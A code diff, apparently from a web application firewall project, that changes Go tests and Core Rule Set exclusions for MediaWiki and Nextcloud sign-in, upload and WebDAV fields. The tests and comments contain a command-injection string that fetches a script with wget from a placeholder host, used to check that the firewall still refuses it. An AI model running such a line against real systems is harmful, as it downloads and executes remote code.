@@ -50,50 +46,13 @@ const (
|
|||||||
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki)
|
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
||||||
}
|
|
||||||
|
|
||||||
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {mediawiki},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search, which only MediaWiki's fixes let through.
|
|
||||||
search := get("/index.php?title=Special:Search&search=python3")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
||||||
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A watchlist that only the phase 2 rule 900916 lets through.
|
|
||||||
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
|
||||||
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
|
|
||||||
if got.Score >= mediawikiThreshold {
|
|
||||||
t.Errorf("POST %s %s on %s refused: %+v", r.target, body, otherHost, got)
|
|
||||||
}
|
|
||||||
|
|
||||||
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
|
|
||||||
if got.Score < mediawikiThreshold {
|
|
||||||
t.Errorf("POST %s %s on %s let through: %+v", r.target, body, giteaHost, got)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
||||||
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
|
||||||
// path where it skips them, ending in "=".
|
// each in the query, on a path where it skips them, ending in "=".
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var mediawikiQueryFields = []string{
|
var mediawikiQueryFields = []string{
|
||||||
@@ -178,9 +137,9 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
|||||||
type mediawikiBodyField struct{ target, field string }
|
type mediawikiBodyField struct{ target, field string }
|
||||||
|
|
||||||
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
||||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
||||||
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
|
||||||
// a path where it skips them.
|
// each in a form data body, on a path where it skips them.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var mediawikiBodyFields = []mediawikiBodyField{
|
var mediawikiBodyFields = []mediawikiBodyField{
|
||||||
@@ -188,13 +147,11 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
|||||||
{mediawikiUpload, "wpUploadDescription="},
|
{mediawikiUpload, "wpUploadDescription="},
|
||||||
{mediawikiUpload, "wpDestFile="},
|
{mediawikiUpload, "wpDestFile="},
|
||||||
{mediawikiSignIn, "wpName="},
|
{mediawikiSignIn, "wpName="},
|
||||||
{mediawikiSignIn, "wpPassword="},
|
|
||||||
{mediawikiMove, "wpOldTitle="},
|
{mediawikiMove, "wpOldTitle="},
|
||||||
{mediawikiMove, "wpNewTitleMain="},
|
{mediawikiMove, "wpNewTitleMain="},
|
||||||
{mediawikiMove, "wpReason="},
|
{mediawikiMove, "wpReason="},
|
||||||
{mediawikiBlock, "wpTarget="},
|
{mediawikiBlock, "wpTarget="},
|
||||||
{mediawikiSignInPage, "wpName="},
|
{mediawikiSignInPage, "wpName="},
|
||||||
{"/w" + mediawikiSignInPage, "wpPassword="},
|
|
||||||
{mediawikiUploadPage, "wpDestFile="},
|
{mediawikiUploadPage, "wpDestFile="},
|
||||||
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
||||||
{mediawikiAPI, "title="},
|
{mediawikiAPI, "title="},
|
||||||
@@ -207,8 +164,18 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
|||||||
{mediawikiAPI, "reason="},
|
{mediawikiAPI, "reason="},
|
||||||
{mediawikiAPI, "user="},
|
{mediawikiAPI, "user="},
|
||||||
{mediawikiAPI, "lgname="},
|
{mediawikiAPI, "lgname="},
|
||||||
{mediawikiAPI, "lgpassword="},
|
|
||||||
{mediawikiAPI, "username="},
|
{mediawikiAPI, "username="},
|
||||||
|
}
|
||||||
|
|
||||||
|
// mediawikiPasswordFields are the passwords, which skip the four rules and the
|
||||||
|
// rules that random passwords set off. mediawikiPasswordFields sends each in a
|
||||||
|
// form data body, on a path where it skips them.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var mediawikiPasswordFields = []mediawikiBodyField{
|
||||||
|
{mediawikiSignIn, "wpPassword="},
|
||||||
|
{"/w" + mediawikiSignInPage, "wpPassword="},
|
||||||
|
{mediawikiAPI, "lgpassword="},
|
||||||
{mediawikiAPI, passwordField},
|
{mediawikiAPI, passwordField},
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -275,6 +242,23 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestMediaWikiPasswordsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, sent := range mediawikiPasswordFields {
|
||||||
|
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
name := strings.TrimSuffix(sent.field, "=")
|
||||||
|
|
||||||
|
wantRandomPasswordsPass(t, r, name)
|
||||||
|
wantPasswordAttacksPass(t, r, name)
|
||||||
|
wantPasswordAttacksRefused(t, r, name)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
||||||
// fields that skip the other command rules, as a query value.
|
// fields that skip the other command rules, as a query value.
|
||||||
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||||
@@ -295,7 +279,8 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
|
|
||||||
crs = readingBodies(t)
|
crs = readingBodies(t)
|
||||||
|
|
||||||
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
|
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
|
||||||
|
mediawikiPasswordFields) {
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
||||||
@@ -353,8 +338,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
|
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
||||||
mediawikiWikitextFields...)
|
mediawikiPasswordFields)
|
||||||
|
|
||||||
for _, sent := range fields {
|
for _, sent := range fields {
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that
|
# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
|
||||||
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
||||||
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
||||||
# a document's text. Each exclusion runs with the request, before the rules it
|
# a document's text. Each exclusion runs with the request, before the rules it
|
||||||
@@ -29,13 +29,6 @@
|
|||||||
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
||||||
# injection, path traversal and script injection are still refused there.
|
# injection, path traversal and script injection are still refused there.
|
||||||
|
|
||||||
# Unless SWW_APPS lists nextcloud for the request's hostname, every rule below
|
|
||||||
# is skipped. Inspect sets tx.app_nextcloud when it does.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_nextcloud itself.
|
|
||||||
SecRule &TX:app_nextcloud "@eq 0" \
|
|
||||||
"id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
|
|
||||||
|
|
||||||
# The sync client and the Files app use these WebDAV methods besides those
|
# The sync client and the Files app use these WebDAV methods besides those
|
||||||
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
||||||
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
||||||
@@ -68,6 +61,46 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
||||||
|
|
||||||
|
# The password, in the body, skips each rule that random passwords set off.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
||||||
|
"id:900119,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:password "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:password"
|
||||||
|
|
||||||
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
||||||
"id:900103,phase:1,pass,nolog,\
|
"id:900103,phase:1,pass,nolog,\
|
||||||
@@ -253,65 +286,3 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
|
|||||||
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
||||||
"id:900118,phase:1,pass,nolog,chain"
|
"id:900118,phase:1,pass,nolog,chain"
|
||||||
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
|
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
|
||||||
|
|
||||||
# The Calendar and Contacts apps, and the CalDAV and CardDAV clients of phones
|
|
||||||
# and desktops, keep calendars under /remote.php/dav/calendars/ and address
|
|
||||||
# books under /remote.php/dav/addressbooks/. A CalDAV client makes a calendar
|
|
||||||
# with MKCALENDAR, which 911100 refused.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
|
|
||||||
"id:900119,phase:1,pass,nolog,\
|
|
||||||
setvar:'tx.allowed_methods=%{tx.allowed_methods} MKCALENDAR'"
|
|
||||||
|
|
||||||
# Such a client first asks where the calendars and address books are, with a
|
|
||||||
# PROPFIND on /.well-known/caldav or /.well-known/carddav. Nextcloud answers
|
|
||||||
# with a redirect to /remote.php/dav/. 911100 refused the PROPFIND.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/\.well-known/(?:caldav|carddav)$" \
|
|
||||||
"id:900120,phase:1,pass,nolog,\
|
|
||||||
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND'"
|
|
||||||
|
|
||||||
# A new calendar or address book has its name in the XML body of an MKCOL,
|
|
||||||
# <d:displayname>Python3 and powershell</d:displayname>. An address book's
|
|
||||||
# MKCOL may also hold its description (900124).
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
|
|
||||||
"id:900121,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_METHOD "@streq MKCOL" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;XML:/*"
|
|
||||||
|
|
||||||
# The XML body of an MKCALENDAR holds the new calendar's name and its
|
|
||||||
# description. The description is a sentence, and two rules for sentences
|
|
||||||
# refused it too:
|
|
||||||
# 932125, 932230: Powershell and python3 meetings; ls -la first
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
|
|
||||||
"id:900122,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_METHOD "@streq MKCALENDAR" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;XML:/*"
|
|
||||||
|
|
||||||
# When the Calendar app changes an event, it names the charset twice in the
|
|
||||||
# Content-Type of the PUT:
|
|
||||||
# text/calendar; charset=UTF-8; component=vevent; charset=UTF-8
|
|
||||||
# The Contacts app does the same with text/vcard when it changes a contact.
|
|
||||||
# 920530 refused both. The body of such a PUT is not read (900118).
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
|
|
||||||
"id:900123,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_METHOD "@streq PUT" "chain"
|
|
||||||
SecRule REQUEST_HEADERS:Content-Type "@rx ^text/(?:calendar|vcard);" \
|
|
||||||
"ctl:ruleRemoveById=920530"
|
|
||||||
|
|
||||||
# The XML body of a new address book's MKCOL may hold its description. Like a
|
|
||||||
# calendar's (900122), it is a sentence, and the same two rules refused it:
|
|
||||||
# 932125, 932230: Powershell and python3 contacts; ls -la first
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
|
|
||||||
"id:900124,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_METHOD "@streq MKCOL" \
|
|
||||||
"ctl:ruleRemoveTargetById=932125;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;XML:/*"
|
|
||||||
|
|
||||||
SecMarker END_NEXTCLOUD
|
|
||||||
@@ -6,7 +6,6 @@ import (
|
|||||||
"maps"
|
"maps"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
"slices"
|
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
@@ -16,6 +15,9 @@ import (
|
|||||||
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const nextcloudThreshold = 5
|
const nextcloudThreshold = 5
|
||||||
|
|
||||||
|
// nextcloudSignIn is the sign-in page.
|
||||||
|
const nextcloudSignIn = "/login"
|
||||||
|
|
||||||
// nextcloudShare is a public share's page.
|
// nextcloudShare is a public share's page.
|
||||||
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
|
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
|
||||||
|
|
||||||
@@ -48,47 +50,10 @@ const (
|
|||||||
// nextcloudOther is a JSON field no exclusion names.
|
// nextcloudOther is a JSON field no exclusion names.
|
||||||
const nextcloudOther = `{"other":"python3"}`
|
const nextcloudOther = `{"other":"python3"}`
|
||||||
|
|
||||||
// nextcloud is Nextcloud's name in SWW_APPS.
|
|
||||||
const nextcloud = "nextcloud"
|
|
||||||
|
|
||||||
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud)
|
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {nextcloud},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search, which only Nextcloud's fixes let through.
|
|
||||||
search := get(nextcloudUsers + "?search=python3")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {nextcloud},
|
|
||||||
})
|
|
||||||
|
|
||||||
// Listing a folder, as the sync client does.
|
|
||||||
list := request{nextcloudPropFind, nextcloudFiles, nil}
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(list, giteaHost), matched(911100))
|
|
||||||
|
|
||||||
// Making a calendar, as a CalDAV client does.
|
|
||||||
calendar := request{nextcloudMkcalendar, nextcloudCalendars + "work/", nil}
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(calendar, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(calendar, giteaHost), matched(911100))
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
||||||
@@ -120,8 +85,7 @@ var nextcloudQueryFields = []string{
|
|||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var nextcloudFormFields = []struct{ target, field string }{
|
var nextcloudFormFields = []struct{ target, field string }{
|
||||||
{"/login", "user="},
|
{nextcloudSignIn, "user="},
|
||||||
{"/login", passwordField},
|
|
||||||
{nextcloudUsers, "userid="},
|
{nextcloudUsers, "userid="},
|
||||||
{nextcloudUsers, "displayName="},
|
{nextcloudUsers, "displayName="},
|
||||||
{nextcloudUsers, "groups%5B%5D="},
|
{nextcloudUsers, "groups%5B%5D="},
|
||||||
@@ -164,55 +128,8 @@ var nextcloudBodies = []nextcloudBody{
|
|||||||
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
|
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
|
||||||
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
|
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
|
||||||
},
|
},
|
||||||
{nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
|
|
||||||
{nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
|
|
||||||
{nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The WebDAV methods that make a calendar or an address book.
|
|
||||||
const (
|
|
||||||
nextcloudMkcol = "MKCOL"
|
|
||||||
nextcloudMkcalendar = "MKCALENDAR"
|
|
||||||
)
|
|
||||||
|
|
||||||
// nextcloudCalendars and nextcloudAddressBooks hold the calendars and the
|
|
||||||
// address books of the account admin.
|
|
||||||
const (
|
|
||||||
nextcloudCalendars = "/remote.php/dav/calendars/admin/"
|
|
||||||
nextcloudAddressBooks = "/remote.php/dav/addressbooks/users/admin/"
|
|
||||||
)
|
|
||||||
|
|
||||||
// nextcloudNewCollection is the XML body that names a new calendar or address
|
|
||||||
// book, as an MKCOL sends it.
|
|
||||||
const nextcloudNewCollection = `<d:mkcol xmlns:d="DAV:"><d:set><d:prop>` +
|
|
||||||
`<d:displayname>%s</d:displayname></d:prop></d:set></d:mkcol>`
|
|
||||||
|
|
||||||
// nextcloudNewCalendar is the XML body of an MKCALENDAR that names the new
|
|
||||||
// calendar.
|
|
||||||
const nextcloudNewCalendar = `<c:mkcalendar xmlns:d="DAV:" ` +
|
|
||||||
`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
|
|
||||||
`<d:displayname>%s</d:displayname></d:prop></d:set></c:mkcalendar>`
|
|
||||||
|
|
||||||
// nextcloudCalendarDescription is the XML body of an MKCALENDAR that gives
|
|
||||||
// the new calendar a description.
|
|
||||||
const nextcloudCalendarDescription = `<c:mkcalendar xmlns:d="DAV:" ` +
|
|
||||||
`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
|
|
||||||
`<d:displayname>Meetings</d:displayname>` +
|
|
||||||
`<c:calendar-description>%s</c:calendar-description>` +
|
|
||||||
`</d:prop></d:set></c:mkcalendar>`
|
|
||||||
|
|
||||||
// nextcloudAddressBookDescription is the XML body of an MKCOL that gives a new
|
|
||||||
// address book a description.
|
|
||||||
const nextcloudAddressBookDescription = `<mkcol xmlns="DAV:" ` +
|
|
||||||
`xmlns:CARD="urn:ietf:params:xml:ns:carddav"><set><prop>` +
|
|
||||||
`<resourcetype><collection /><CARD:addressbook /></resourcetype>` +
|
|
||||||
`<displayname>Trainers</displayname>` +
|
|
||||||
`<CARD:addressbook-description>%s</CARD:addressbook-description>` +
|
|
||||||
`</prop></set></mkcol>`
|
|
||||||
|
|
||||||
// nextcloudDescription is a calendar's description, as recorded.
|
|
||||||
const nextcloudDescription = "Powershell and python3 meetings; ls -la first"
|
|
||||||
|
|
||||||
// nextcloudDocument is the text of a document the text editor saves, which
|
// nextcloudDocument is the text of a document the text editor saves, which
|
||||||
// skips the rules for code blocks too.
|
// skips the rules for code blocks too.
|
||||||
//
|
//
|
||||||
@@ -338,6 +255,17 @@ func nextcloudTextScores(t *testing.T, text string) map[string]int {
|
|||||||
return scores
|
return scores
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// nextcloudPasswordScore returns the score that the Core Rule Set, reading
|
||||||
|
// bodies, gives signing in with value, a query value, as the password.
|
||||||
|
func nextcloudPasswordScore(t *testing.T, value string) int {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
|
||||||
|
got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
|
||||||
|
|
||||||
|
return got.Score
|
||||||
|
}
|
||||||
|
|
||||||
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -347,7 +275,21 @@ func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
t.Errorf("%s refused: %d", request, score)
|
t.Errorf("%s refused: %d", request, score)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
|
||||||
|
t.Errorf("password %s refused: %d", value, score)
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNextcloudPasswordPasses(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
|
||||||
|
|
||||||
|
wantRandomPasswordsPass(t, r, "password")
|
||||||
|
wantPasswordAttacksPass(t, r, "password")
|
||||||
|
wantPasswordAttacksRefused(t, r, "password")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
|
func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
|
||||||
@@ -398,6 +340,10 @@ func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
t.Errorf("%s let through: %d", request, score)
|
t.Errorf("%s let through: %d", request, score)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
|
||||||
|
t.Errorf("password %s let through: %d", commandInjection, score)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
||||||
@@ -460,119 +406,6 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
|
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
|
||||||
|
|
||||||
// MKCALENDAR only where the calendars are.
|
|
||||||
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
|
|
||||||
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
|
|
||||||
}
|
